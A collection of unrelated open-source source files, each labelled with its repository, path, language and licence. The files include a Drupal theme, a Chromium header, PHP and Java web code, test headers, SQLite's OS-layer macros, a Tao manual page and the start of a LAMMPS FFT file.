<?php /** * Sets the body-tag class attribute. * * Adds 'sidebar-left', 'sidebar-right' or 'sidebars' classes as needed. */ function phptemplate_body_class($left, $right) { if ($left != '' && $right != '') { $class = 'sidebars'; } else { if ($left != '') { $class = 'sidebar-left'; } if ($right != '') { $class = 'sidebar-right'; } } if (isset($class)) { print ' class="'. $class .'"'; } } /** * Return a themed breadcrumb trail. * * @param $breadcrumb * An array containing the breadcrumb links. * @return a string containing the breadcrumb output. */ function phptemplate_breadcrumb($breadcrumb) { if (!empty($breadcrumb)) { return '<div class="breadcrumb">'. implode(' › ', $breadcrumb) .'</div>'; } } /** * Override or insert PHPTemplate variables into the templates. */ function phptemplate_preprocess_page(&$vars) { $vars['tabs2'] = menu_secondary_local_tasks(); // Hook into color.module if (module_exists('color')) { _color_page_alter($vars); } } /** * Add a "Comments" heading above comments except on forum pages. */ function tiki_preprocess_comment_wrapper(&$vars) { if ($vars['content'] && $vars['node']->type != 'forum') { $vars['content'] = '<h2 class="comments">'. t('Comments') .'</h2>'. $vars['content']; } } /** * Returns the rendered local tasks. The default implementation renders * them as tabs. Overridden to split the secondary tasks. * * @ingroup themeable */ function phptemplate_menu_local_tasks() { return menu_primary_local_tasks(); } /** * Returns the themed submitted-by string for the comment. */ function phptemplate_comment_submitted($comment) { return t('!datetime — !username', array( '!username' => theme('username', $comment), '!datetime' => format_date($comment->timestamp) )); } /** * Returns the themed submitted-by string for the node. */ function phptemplate_node_submitted($node) { return t('!datetime — !username', array( '!username' => theme('username', $node), '!datetime' => format_date($node->created), )); } /** * Generates IE CSS links for LTR and RTL languages. */ function phptemplate_get_ie_styles() { global $language; $iecss = '<link type="text/css" rel="stylesheet" media="all" href="'. base_path() . path_to_theme() .'/fix-ie.css" />'; if ($language->direction == LANGUAGE_RTL) { $iecss .= '<style type="text/css" media="all">@import "'. base_path() . path_to_theme() .'/fix-ie-rtl.css";</style>'; } return $iecss; }
Onenix/360kpop-shop
themes/tiki/template.php
PHP
gpl-2.0
2,556
// Copyright 2013 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef CONTENT_BROWSER_FRAME_HOST_NAVIGATION_CONTROLLER_DELEGATE_H_ #define CONTENT_BROWSER_FRAME_HOST_NAVIGATION_CONTROLLER_DELEGATE_H_ #include <string> #include "content/public/browser/navigation_controller.h" #include "content/public/browser/navigation_details.h" namespace content { struct LoadCommittedDetails; struct LoadNotificationDetails; struct NativeWebKeyboardEvent; class InterstitialPage; class InterstitialPageImpl; class RenderViewHost; class SiteInstance; class WebContents; class WebContentsDelegate; class NavigationControllerDelegate { public: virtual ~NavigationControllerDelegate() {} virtual RenderViewHost* GetRenderViewHost() const = 0; virtual InterstitialPage* GetInterstitialPage() const = 0; virtual const std::string& GetContentsMimeType() const = 0; virtual void NotifyNavigationStateChanged(unsigned changed_flags) = 0; virtual void Stop() = 0; virtual SiteInstance* GetSiteInstance() const = 0; virtual SiteInstance* GetPendingSiteInstance() const = 0; virtual int32 GetMaxPageID() = 0; virtual int32 GetMaxPageIDForSiteInstance(SiteInstance* site_instance) = 0; virtual bool IsLoading() const = 0; virtual void NotifyBeforeFormRepostWarningShow() = 0; virtual void NotifyNavigationEntryCommitted( const LoadCommittedDetails& load_details) = 0; virtual bool NavigateToPendingEntry( NavigationController::ReloadType reload_type) = 0; virtual void SetHistoryLengthAndPrune( const SiteInstance* site_instance, int merge_history_length, int32 minimum_page_id) = 0; virtual void CopyMaxPageIDsFrom(WebContents* web_contents) = 0; virtual void UpdateMaxPageID(int32 page_id) = 0; virtual void UpdateMaxPageIDForSiteInstance(SiteInstance* site_instance, int32 page_id) = 0; virtual void ActivateAndShowRepostFormWarningDialog() = 0; virtual WebContents* GetWebContents() = 0; virtual bool IsHidden() = 0; virtual void RenderViewForInterstitialPageCreated( RenderViewHost* render_view_host) = 0; virtual void AttachInterstitialPage( InterstitialPageImpl* interstitial_page) = 0; virtual void DetachInterstitialPage() = 0; virtual void SetIsLoading(RenderViewHost* render_view_host, bool is_loading, LoadNotificationDetails* details) = 0; }; } #endif
qtekfun/htcDesire820Kernel
external/chromium_org/content/browser/frame_host/navigation_controller_delegate.h
C
gpl-2.0
2,570
/* * TrxFormController.java * * Created on Jan 9, 2010 8:22:32 PM * * Copyright (c) 2002 - 2010 : Swayam Inc. * * P R O P R I E T A R Y & C O N F I D E N T I A L * * The copyright of this document is vested in Swayam Inc. without * whose prior written permission its contents must not be published, * adapted or reproduced in any form or disclosed or * issued to any third party. */ package com.swayam.ims.webapp.controller.trx; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import org.springframework.web.servlet.ModelAndView; import org.springframework.web.servlet.mvc.Controller; /** * * @author paawak */ public abstract class TrxFormController implements Controller { final TrxModeIndicator modeIndicator; private String formView; public TrxFormController(TrxModeIndicator modeIndicator) { this.modeIndicator = modeIndicator; } public final void setFormView(String formView) { this.formView = formView; } public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception { ModelAndView modelNView = new ModelAndView(formView); modelNView.addObject("isPurchaseMode", modeIndicator.isPurchaseMode()); return modelNView; } }
paawak/blog
code/SpringMVCWithFlex/ims-web/src/main/java/com/swayam/ims/webapp/controller/trx/TrxFormController.java
Java
gpl-2.0
1,332
<?php if ( !defined( 'ABSPATH' ) ) { exit; } $rowWidth = 0; foreach ( $cells as $cell ) { $rowWidth += (int)$cell['width']; } if ( $rows ) { ?> <table class="mscrm-listview table"> <thead> <tr> <?php foreach ( current( $rows ) as $cellName => $cell ) { $cellWidth = $cells[$cellName]['width']; ?> <th style="width:<?php echo round( ( $cellWidth / $rowWidth * 100 ), 3 ); ?>%;"><?php echo $cell["head"]; ?></th> <?php } ?> </tr> </thead> <tbody> <?php foreach ( $rows as $row ) { ?> <tr> <?php foreach ( $row as $key => $cell ) : ?> <td><?php wordpresscrm_view_field( $cell ); ?></td> <?php endforeach; ?> </tr> <?php } ?> </tbody> <?php if ( array_key_exists( 'count', $attributes ) && (int)$attributes['count'] > 0 ) { $currentPage = 1; if ( array_key_exists( 'viewPage', $_GET ) && (int)$_GET['viewPage'] > 0 ) { $currentPage = (int)$_GET['viewPage']; } ?><tfoot> <tr> <td colspan="<?php echo esc_attr( count( $cells ) ); ?>"> <?php if ( $currentPage > 1 ) { $queryParams = ACRM()->request->query->all(); unset( $queryParams['viewPage'] ); if ( $currentPage > 2 ) { $queryParams[ 'viewPage'] = $currentPage - 1; } $url = \Symfony\Component\HttpFoundation\Request::create( ACRM()->request->getPathInfo(), 'GET', $queryParams ); ?><a href="<?php echo esc_attr( $url->getRequestUri() ); ?>" class="btn btn-outline-primary"><?php _e( '&larr; Previous', 'integration-dynamics' ); ?></a> <?php /* the prepended space is purposeful */ } if ( $entities->MoreRecords ) { $url = \Symfony\Component\HttpFoundation\Request::create( ACRM()->request->getPathInfo(), 'GET', array_merge( ACRM()->request->query->all(), [ 'viewPage' => $currentPage + 1 ] ) ); ?><a href="<?php echo esc_attr( $url->getRequestUri() ); ?>" class="btn btn-outline-primary"><?php _e( 'Next &rarr;', 'integration-dynamics' ); ?></a><?php } ?> </td> </tr> </tfoot> <?php } ?> </table> <?php } else { echo apply_filters( "wordpresscrm_no_results_view", __( "<p>No results</p>", 'integration-dynamics' ), $attributes["entity"], $attributes["name"] ); } ?>
AlexaCRM/integration-dynamics
templates/view/view.php
PHP
gpl-2.0
2,942
/** * UGENE - Integrated Bioinformatics Tools. * Copyright (C) 2008-2017 UniPro <[email protected]> * http://ugene.net * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, * MA 02110-1301, USA. */ #ifndef _U2_DOCUMENT_MODEL_TESTS_H_ #define _U2_DOCUMENT_MODEL_TESTS_H_ #include <U2Test/XMLTestUtils.h> #include <U2Core/IOAdapter.h> #include <QDomElement> namespace U2 { class Document; class GObject; class LoadDocumentTask; class SaveDocumentTask; class DocumentProviderTask; class GTest_LoadDocument : public GTest { Q_OBJECT public: SIMPLE_XML_TEST_BODY_WITH_FACTORY(GTest_LoadDocument, "load-document"); ReportResult report(); void prepare(); virtual void cleanup(); private: QString docContextName; LoadDocumentTask* loadTask; bool contextAdded; bool tempFile; QString url; GTestLogHelper logHelper; QString expectedLogMessage; QString expectedLogMessage2; QString unexpectedLogMessage; bool needVerifyLog; }; class GTest_SaveDocument : public GTest { Q_OBJECT public: SIMPLE_XML_TEST_BODY_WITH_FACTORY(GTest_SaveDocument, "save-document"); void prepare(); private: QString url; IOAdapterFactory* iof; QString docContextName; SaveDocumentTask* saveTask; }; class GTest_LoadBrokenDocument : public GTest { Q_OBJECT public: SIMPLE_XML_TEST_BODY_WITH_FACTORY_EXT(GTest_LoadBrokenDocument, "load-broken-document", TaskFlags(TaskFlag_NoRun)| TaskFlag_FailOnSubtaskCancel); Document* getDocument() const; ReportResult report(); void cleanup(); private: LoadDocumentTask* loadTask; QString url; bool tempFile; QString message; }; class GTest_ImportDocument : public GTest { Q_OBJECT public: SIMPLE_XML_TEST_BODY_WITH_FACTORY(GTest_ImportDocument, "import-document"); ReportResult report(); void prepare(); virtual void cleanup(); private: QString docContextName; DocumentProviderTask* importTask; bool contextAdded; bool tempFile; QString url; QString destUrl; GTestLogHelper logHelper; QString expectedLogMessage; QString expectedLogMessage2; QString unexpectedLogMessage; bool needVerifyLog; }; class GTest_ImportBrokenDocument : public GTest { Q_OBJECT public: SIMPLE_XML_TEST_BODY_WITH_FACTORY_EXT(GTest_ImportBrokenDocument, "import-broken-document", TaskFlags(TaskFlag_NoRun)| TaskFlag_FailOnSubtaskCancel); Document* getDocument() const; ReportResult report(); void cleanup(); private: DocumentProviderTask* importTask; QString url; QString destUrl; bool tempFile; QString message; }; class GTest_DocumentNumObjects : public GTest { Q_OBJECT SIMPLE_XML_TEST_BODY_WITH_FACTORY(GTest_DocumentNumObjects, "check-num-objects"); ReportResult report(); QString docContextName; int numObjs; }; class GTest_DocumentFormat : public GTest { Q_OBJECT SIMPLE_XML_TEST_BODY_WITH_FACTORY(GTest_DocumentFormat, "check-document-format"); ReportResult report(); QString docUrl; QString docFormat; }; class GTest_DocumentObjectNames : public GTest { Q_OBJECT SIMPLE_XML_TEST_BODY_WITH_FACTORY(GTest_DocumentObjectNames, "check-document-object-names"); ReportResult report(); QString docContextName; QStringList names; }; class GTest_DocumentObjectTypes : public GTest { Q_OBJECT SIMPLE_XML_TEST_BODY_WITH_FACTORY(GTest_DocumentObjectTypes, "check-document-object-types"); ReportResult report(); QString docContextName; QList<GObjectType> types; }; class DocumentModelTests { public: static QList<XMLTestFactory*> createTestFactories(); }; class GTest_FindGObjectByName : public GTest { Q_OBJECT SIMPLE_XML_TEST_BODY_WITH_FACTORY(GTest_FindGObjectByName, "find-object-by-name"); ReportResult report(); void cleanup(); private: QString docContextName; QString objContextName; QString objName; GObjectType type; GObject* result; }; class GTest_CompareFiles : public GTest { Q_OBJECT SIMPLE_XML_TEST_BODY_WITH_FACTORY(GTest_CompareFiles, "compare-docs"); ReportResult report(); private: void compareMixed(); QByteArray getLine(IOAdapter* io); IOAdapter* createIoAdapter(const QString& filePath); QString doc1Path; QString doc2Path; bool byLines; QStringList commentsStartWith; bool line_num_only; bool mixed_lines; int first_n_lines; }; class GTest_Compare_VCF_Files : public GTest { Q_OBJECT SIMPLE_XML_TEST_BODY_WITH_FACTORY(GTest_Compare_VCF_Files, "compare-vcf-docs"); ReportResult report(); private: IOAdapter* createIoAdapter(const QString& filePath); QString getLine(IOAdapter* io); QString doc1Path; QString doc2Path; static const QByteArray COMMENT_MARKER; }; class GTest_Compare_PDF_Files : public GTest { Q_OBJECT SIMPLE_XML_TEST_BODY_WITH_FACTORY(GTest_Compare_PDF_Files, "compare-pdf-docs"); ReportResult report(); private: QString doc1Path; QString doc2Path; bool byLines; }; }//namespace #endif
ggrekhov/ugene
src/plugins/CoreTests/src/DocumentModelTests.h
C
gpl-2.0
6,005
<?php /** * Options for the bibtex plugin * * @author Till Biskup <till@till-biskup> */ $meta['_basic'] = array('fieldset'); $meta['sqlite'] = array('onoff'); $meta['citetype'] = array('multichoice','_choices' => array('alpha','apa','authordate','numeric')); $meta['file'] = array('string'); $meta['pdfdir'] = array('string'); $meta['sort'] = array('onoff'); $meta['_formatstrings'] = array('fieldset'); $meta['fmtstr_article'] = array('string'); $meta['fmtstr_book'] = array('string'); $meta['fmtstr_booklet'] = array('string'); $meta['fmtstr_conference'] = array('string'); $meta['fmtstr_inbook'] = array('string'); $meta['fmtstr_incollection'] = array('string'); $meta['fmtstr_inproceedings'] = array('string'); $meta['fmtstr_manual'] = array('string'); $meta['fmtstr_mastersthesis'] = array('string'); $meta['fmtstr_misc'] = array('string'); $meta['fmtstr_phdthesis'] = array('string'); $meta['fmtstr_proceedings'] = array('string'); $meta['fmtstr_techreport'] = array('string'); $meta['fmtstr_unpublished'] = array('string');
tillbiskup/dokuwiki-bibtex
conf/metadata.php
PHP
gpl-2.0
1,037
/* This file is part of ffmpeg-php Copyright (C) 2004-2008 Todd Kirby (ffmpeg.php AT gmail.com) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA In addition, as a special exception, the copyright holders of ffmpeg-php give you permission to combine ffmpeg-php with code included in the standard release of PHP under the PHP license (or modified versions of such code, with unchanged license). You may copy and distribute such a system following the terms of the GNU GPL for ffmpeg-php and the licenses of the other code concerned, provided that you include the source code of that other code when and as the GNU GPL requires distribution of source code. You must obey the GNU General Public License in all respects for all of the code used other than standard release of PHP. If you modify this file, you may extend this exception to your version of the file, but you are not obligated to do so. If you do not wish to do so, delete this exception statement from your version. */ #ifdef HAVE_CONFIG_H #include "config.h" #endif //#include <php.h> #include "ffmpeg_tools.h" #if LIBAVCODEC_VERSION_MAJOR >= 52 #include <swscale.h> /* {{{ ffmpeg_img_convert() * wrapper around ffmpeg image conversion routines */ int img_convert(AVPicture *dst, int dst_pix_fmt, AVPicture *src, int src_pix_fmt, int src_width, int src_height) { struct SwsContext *sws_ctx = NULL; // TODO: Try to get cached sws_context first sws_ctx = sws_getContext(src_width, src_height, 0, src_width, src_height, dst_pix_fmt, SWS_BICUBIC, NULL, NULL, NULL); if (sws_ctx == NULL){ return 2; } sws_scale(sws_ctx, src->data, src->linesize, 0, src_height, dst->data, dst->linesize); sws_freeContext(sws_ctx); return 0; } /* }}} */ void img_resample(ImgReSampleContext * context, AVPicture * pxOut, const AVPicture * pxIn) { if (context != NULL && context->context != NULL) { AVPicture shiftedInput; // = {0}; shiftedInput.data[0] = pxIn->data[0] + pxIn->linesize[0] * context->bandTop + context->bandLeft; shiftedInput.data[1] = pxIn->data[1] + (pxIn->linesize[1] * (context->bandTop / 2)) + (context->bandLeft+1) / 2; shiftedInput.data[2] = pxIn->data[2] + (pxIn->linesize[2] * (context->bandTop / 2)) + (context->bandLeft+1) / 2; shiftedInput.linesize[0] = pxIn->linesize[0]; shiftedInput.linesize[1] = pxIn->linesize[1]; shiftedInput.linesize[2] = pxIn->linesize[2]; sws_scale(context->context, (uint8_t**)shiftedInput.data, (int*)shiftedInput.linesize, 0, context->height - context->bandBottom - context->bandTop, pxOut->data, pxOut->linesize); } } ImgReSampleContext * img_resample_full_init (int owidth, int oheight, int iwidth, int iheight, int topBand, int bottomBand, int leftBand, int rightBand, int padtop, int padbottom, int padleft, int padright) { ImgReSampleContext * s = (ImgReSampleContext *)av_malloc(sizeof(ImgReSampleContext)); if (s == NULL) { return NULL; } int srcSurface = (iwidth - rightBand - leftBand)* (iheight - topBand - bottomBand); // We use bilinear when the source surface is big, and bicubic when the number of pixels to handle is less than 1 MPixels s->context = sws_getContext(iwidth - rightBand - leftBand, iheight - topBand - bottomBand, PIX_FMT_YUV420P, owidth, oheight, PIX_FMT_YUV420P, srcSurface > 1024000 ? SWS_FAST_BILINEAR : SWS_BICUBIC, NULL, NULL, NULL); if (s->context == NULL) { av_free(s); return NULL; } s->bandLeft = leftBand; s->bandRight = rightBand; s->bandTop = topBand; s->bandBottom = bottomBand; s->padLeft = padleft; s->padRight = padright; s->padTop = padtop; s->padBottom = padbottom; s->width = iwidth; s->height = iheight; s->outWidth = owidth; s->outHeight = oheight; return s; } ImgReSampleContext * img_resample_init (int owidth, int oheight, int iwidth, int iheight) { return img_resample_full_init(owidth, oheight, iwidth, iheight, 0, 0, 0, 0, 0, 0, 0, 0); } void img_resample_close(ImgReSampleContext * s) { if (s == NULL) return; sws_freeContext(s->context); av_free(s); } #endif /* * Local variables: * tab-width: 4 * c-basic-offset: 4 * End: * vim600: noet sw=4 ts=4 * vim<600: noet sw=4 ts=4 */
lord2800/ffmpeg-php
ffmpeg_tools.c
C
gpl-2.0
5,212
<?php /** * Suomi.fi authentication module. * * PHP version 7 * * Copyright (C) The National Library of Finland 2019. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2, * as published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category VuFind * @package Authentication * @author Samuli Sillanpää <[email protected]> * @license http://opensource.org/licenses/gpl-2.0.php GNU General Public License * @link https://vufind.org Main Page */ namespace Finna\Auth; use VuFind\Exception\Auth as AuthException; /** * Suomi.fi authentication module. * * @category VuFind * @package Authentication * @author Samuli Sillanpää <[email protected]> * @license http://opensource.org/licenses/gpl-2.0.php GNU General Public License * @link https://vufind.org Main Page */ class Suomifi extends Shibboleth { /** * Set configuration. * * @param \Zend\Config\Config $config Configuration to set * * @return void */ public function setConfig($config) { // Replace Shibboleth config section with Shibboleth_suomifi $data = $config->toArray(); $data['Shibboleth'] = $data['Shibboleth_suomifi']; $config = new \Zend\Config\Config($data); parent::setConfig($config); } /** * Get the URL to establish a session (needed when the internal VuFind login * form is inadequate). Returns false when no session initiator is needed. * * @param string $target Full URL where external authentication method should * send user after login (some drivers may override this). * * @return bool|string */ public function getSessionInitiator($target) { $url = parent::getSessionInitiator($target); if (!$url) { return $url; } // Set 'auth_method' to Suomifi $url = str_replace( 'auth_method%3DShibboleth', 'auth_method%3DSuomifi', $url ); return $url; } /** * Get a server parameter taking into account any environment variables * redirected by Apache mod_rewrite. * * @param \Zend\Http\PhpEnvironment\Request $request Request object containing * account credentials. * @param string $param Parameter name * * @throws AuthException * @return mixed */ protected function getServerParam($request, $param) { $val = parent::getServerParam($request, $param); $config = $this->getConfig()->Shibboleth; if ($param === $config->username && ((bool)$config->hash_username ?? false) ) { $secret = $config->hash_secret ?? null; if (empty($secret)) { throw new AuthException('hash_secret not configured'); } $val = hash_hmac('sha256', $val, $secret, false); } return $val; } }
arto70/NDL-VuFind2
module/Finna/src/Finna/Auth/Suomifi.php
PHP
gpl-2.0
3,484
/* ** 2004 May 22 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ****************************************************************************** ** ** This file contains macros and a little bit of code that is common to ** all of the platform-specific files (os_*.c) and is #included into those ** files. ** ** This file should be #included by the os_*.c files only. It is not a ** general purpose header file. */ /* ** At least two bugs have slipped in because we changed the MEMORY_DEBUG ** macro to SQLITE_DEBUG and some older makefiles have not yet made the ** switch. The following code should catch this problem at compile-time. */ #ifdef MEMORY_DEBUG # error "The MEMORY_DEBUG macro is obsolete. Use SQLITE_DEBUG instead." #endif /* * When testing, this global variable stores the location of the * pending-byte in the database file. */ #ifdef SQLITE_TEST unsigned int sqlite3_pending_byte = 0x40000000; #endif #ifdef SQLITE_DEBUG int sqlite3_os_trace = 0; #define OSTRACE1(X) if( sqlite3_os_trace ) sqlite3DebugPrintf(X) #define OSTRACE2(X,Y) if( sqlite3_os_trace ) sqlite3DebugPrintf(X,Y) #define OSTRACE3(X,Y,Z) if( sqlite3_os_trace ) sqlite3DebugPrintf(X,Y,Z) #define OSTRACE4(X,Y,Z,A) if( sqlite3_os_trace ) sqlite3DebugPrintf(X,Y,Z,A) #define OSTRACE5(X,Y,Z,A,B) if( sqlite3_os_trace ) sqlite3DebugPrintf(X,Y,Z,A,B) #define OSTRACE6(X,Y,Z,A,B,C) \ if(sqlite3_os_trace) sqlite3DebugPrintf(X,Y,Z,A,B,C) #define OSTRACE7(X,Y,Z,A,B,C,D) \ if(sqlite3_os_trace) sqlite3DebugPrintf(X,Y,Z,A,B,C,D) #else #define OSTRACE1(X) #define OSTRACE2(X,Y) #define OSTRACE3(X,Y,Z) #define OSTRACE4(X,Y,Z,A) #define OSTRACE5(X,Y,Z,A,B) #define OSTRACE6(X,Y,Z,A,B,C) #define OSTRACE7(X,Y,Z,A,B,C,D) #endif /* ** Macros for performance tracing. Normally turned off. Only works ** on i486 hardware. */ #ifdef SQLITE_PERFORMANCE_TRACE __inline__ unsigned long long int hwtime(void){ unsigned long long int x; __asm__("rdtsc\n\t" "mov %%edx, %%ecx\n\t" :"=A" (x)); return x; } static unsigned long long int g_start; static unsigned int elapse; #define TIMER_START g_start=hwtime() #define TIMER_END elapse=hwtime()-g_start #define TIMER_ELAPSED elapse #else #define TIMER_START #define TIMER_END #define TIMER_ELAPSED 0 #endif /* ** If we compile with the SQLITE_TEST macro set, then the following block ** of code will give us the ability to simulate a disk I/O error. This ** is used for testing the I/O recovery logic. */ #ifdef SQLITE_TEST int sqlite3_io_error_hit = 0; int sqlite3_io_error_pending = 0; int sqlite3_io_error_persist = 0; int sqlite3_diskfull_pending = 0; int sqlite3_diskfull = 0; #define SimulateIOError(CODE) \ if( sqlite3_io_error_pending || sqlite3_io_error_hit ) \ if( sqlite3_io_error_pending-- == 1 \ || (sqlite3_io_error_persist && sqlite3_io_error_hit) ) \ { local_ioerr(); CODE; } static void local_ioerr(){ IOTRACE(("IOERR\n")); sqlite3_io_error_hit = 1; } #define SimulateDiskfullError(CODE) \ if( sqlite3_diskfull_pending ){ \ if( sqlite3_diskfull_pending == 1 ){ \ local_ioerr(); \ sqlite3_diskfull = 1; \ sqlite3_io_error_hit = 1; \ CODE; \ }else{ \ sqlite3_diskfull_pending--; \ } \ } #else #define SimulateIOError(A) #define SimulateDiskfullError(A) #endif /* ** When testing, keep a count of the number of open files. */ #ifdef SQLITE_TEST int sqlite3_open_file_count = 0; #define OpenCounter(X) sqlite3_open_file_count+=(X) #else #define OpenCounter(X) #endif /* ** sqlite3GenericMalloc ** sqlite3GenericRealloc ** sqlite3GenericOsFree ** sqlite3GenericAllocationSize ** ** Implementation of the os level dynamic memory allocation interface in terms ** of the standard malloc(), realloc() and free() found in many operating ** systems. No rocket science here. ** ** There are two versions of these four functions here. The version ** implemented here is only used if memory-management or memory-debugging is ** enabled. This version allocates an extra 8-bytes at the beginning of each ** block and stores the size of the allocation there. ** ** If neither memory-management or debugging is enabled, the second ** set of implementations is used instead. */ #if defined(SQLITE_ENABLE_MEMORY_MANAGEMENT) || defined (SQLITE_MEMDEBUG) void *sqlite3GenericMalloc(int n){ char *p = (char *)malloc(n+8); assert(n>0); assert(sizeof(int)<=8); if( p ){ *(int *)p = n; p += 8; } return (void *)p; } void *sqlite3GenericRealloc(void *p, int n){ char *p2 = ((char *)p - 8); assert(n>0); p2 = (char*)realloc(p2, n+8); if( p2 ){ *(int *)p2 = n; p2 += 8; } return (void *)p2; } void sqlite3GenericFree(void *p){ assert(p); free((void *)((char *)p - 8)); } int sqlite3GenericAllocationSize(void *p){ return p ? *(int *)((char *)p - 8) : 0; } #else void *sqlite3GenericMalloc(int n){ char *p = (char *)malloc(n); return (void *)p; } void *sqlite3GenericRealloc(void *p, int n){ assert(n>0); p = realloc(p, n); return p; } void sqlite3GenericFree(void *p){ assert(p); free(p); } /* Never actually used, but needed for the linker */ int sqlite3GenericAllocationSize(void *p){ return 0; } #endif /* ** The default size of a disk sector */ #ifndef PAGER_SECTOR_SIZE # define PAGER_SECTOR_SIZE 512 #endif
graydon/monotone
sqlite/os_common.h
C
gpl-2.0
5,586
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <HTML> <!-- HTML file produced from file: UserManual.tex -- -- using Hyperlatex v 2.3.1 (c) Otfried Cheong-- -- on Emacs 21.1 (patch 4) "Arches" XEmacs Lucid, Sun Apr 30 20:50:10 2000 --> <HEAD> <TITLE>Tao User Manual -- Using pitches - pitches.tao</TITLE> <link rel=stylesheet href="../../taomanual.css" type="text/css"> </HEAD><BODY BACKGROUND="bg.gif"> <table width="500" border="0" align="left" cellspacing="2" cellpadding="2"><tr><td class="nav" valign="top"><!-- top panel --><A HREF="UserManual_102.html"><IMG ALT="Up" ALIGN=BOTTOM BORDER=0 SRC="up.gif"></A> <BR><A HREF="UserManual_102.html">Tutorial</A><BR><IMG width="167" height="1" SRC="trans1x1.gif"> </td><td class="nav" valign="top"><A HREF="UserManual_140.html"><IMG ALT="Back" ALIGN=BOTTOM BORDER=0 SRC="back.gif"></A> <BR><A HREF="UserManual_140.html">Using the Output device - outputs.tao</A><BR><IMG width="167" height="1" SRC="trans1x1.gif"> </td><td class="nav" valign="top"><A HREF="UserManual_142.html"><IMG ALT="Forward" ALIGN=BOTTOM BORDER=0 SRC="forward.gif"></A> <BR><A HREF="UserManual_142.html">Creating a rectangular sheet</A><BR><IMG width="167" height="1" SRC="trans1x1.gif"> </td></tr><!-- end top panel --><tr><td colspan="3" class="main"><!-- main text --><br><br> <H2>Using pitches - pitches.tao</H2> This script illustrates the various pitch formats which are supported by <B>Tao</B>. These include <EM>oct</EM><A NAME="1">,</A> <EM>cps</EM><A NAME="2">,</A> <EM>Hz</EM><A NAME="3"> and</A> <EM>note name</EM><A NAME="4"> formats</A> (see sections <A HREF="UserManual_34.html">*</A> and <A HREF="UserManual_52.html">*</A>). <P><PRE> Audio rate: 44100; String array1[]= { (200 Hz, 20 secs), (220 Hz, 20 secs), (240 Hz, 20 secs), (260 Hz, 20 secs) }; String array2[]= { (8.00 pch, 20 secs), (8.04 pch, 20 secs), (8.06 pch, 20 secs), (8.08 pch, 20 secs) }; String array3[]= { (8.0 oct, 20 secs), (8.2 oct, 20 secs), (8.4 oct, 20 secs), (8.6 oct, 20 secs) }; Counter n; Init: For n = 0 to 3: array1[n].lockEnds(); array2[n].lockEnds(); array3[n].lockEnds(); ... ... Score 5 secs: Label(array1[0], 1.0, 0.0, 0.0, "LABEL", 0); At start for 0.1 msecs: For n = 0 to 3: array1[n](0.1).applyForce(1.0); array2[n](0.1).applyForce(1.0); array3[n](0.1).applyForce(1.0); ... ... ... </PRE> <P> <BR></td></tr><!-- end main text --><tr><td class="nav" align="left" valign="top"><!-- bottom matter --><A HREF="UserManual_102.html"><IMG ALT="Up" ALIGN=BOTTOM BORDER=0 SRC="up.gif"></A> <BR><A HREF="UserManual_102.html">Tutorial</A><BR><IMG width="167" height="1" SRC="trans1x1.gif"> </td><td class="nav" align="left" valign="top"><A HREF="UserManual_140.html"><IMG ALT="Back" ALIGN=BOTTOM BORDER=0 SRC="back.gif"></A> <BR><A HREF="UserManual_140.html">Using the Output device - outputs.tao</A><BR><IMG width="167" height="1" SRC="trans1x1.gif"> </td><td class="nav" align="left" valign="top"><!-- bottom matter --><A HREF="UserManual_142.html"><IMG ALT="Forward" ALIGN=BOTTOM BORDER=0 SRC="forward.gif"></A> <BR><A HREF="UserManual_142.html">Creating a rectangular sheet</A> <IMG width="167" height="1" SRC="trans1x1.gif"> </td></tr><!-- end bottom matter --> <tr><td colspan="3" class="addr"><!-- bottom panel --><ADDRESS><FONT SIZE=-1>&#169;1999,2000 Mark Pearson <A HREF="mailto:[email protected]">[email protected]</A> April 30, 2000</ADDRESS><BR></td></tr><!-- end bottom panel --></table></BODY></HTML>
MindBuffer/tao
doc/UserManual/html/UserManual_141.html
HTML
gpl-2.0
3,939
// clang-format off /* ---------------------------------------------------------------------- LAMMPS - Large-scale Atomic/Molecular Massively Parallel Simulator https://www.lammps.org/, Sandia National Laboratories Steve Plimpton, [email protected] Copyright (2003) Sandia Corporation. Under the terms of Contract DE-AC04-94AL85000 with Sandia Corporation, the U.S. Government retains certain rights in this software. This software is distributed under the GNU General Public License. See the README file in the top-level LAMMPS directory. ------------------------------------------------------------------------- */ /* ---------------------------------------------------------------------- Contributing authors: Jim Shepherd (GA Tech) added SGI SCSL support Axel Kohlmeyer (Temple U) added support for FFTW3, KISS FFT, Dfti/MKL, and ACML Phil Blood (PSC) added single precision FFTs Paul Coffman (IBM) added MPI collectives remap ------------------------------------------------------------------------- */ #include "fft3d.h" #include "remap.h" #include <cstdlib> #include <cmath> #if defined(_OPENMP) #include <omp.h> #endif #ifdef FFT_KISS /* include kissfft implementation */ #include "kissfft.h" #endif #define MIN(A,B) ((A) < (B) ? (A) : (B)) #define MAX(A,B) ((A) > (B) ? (A) : (B)) /* 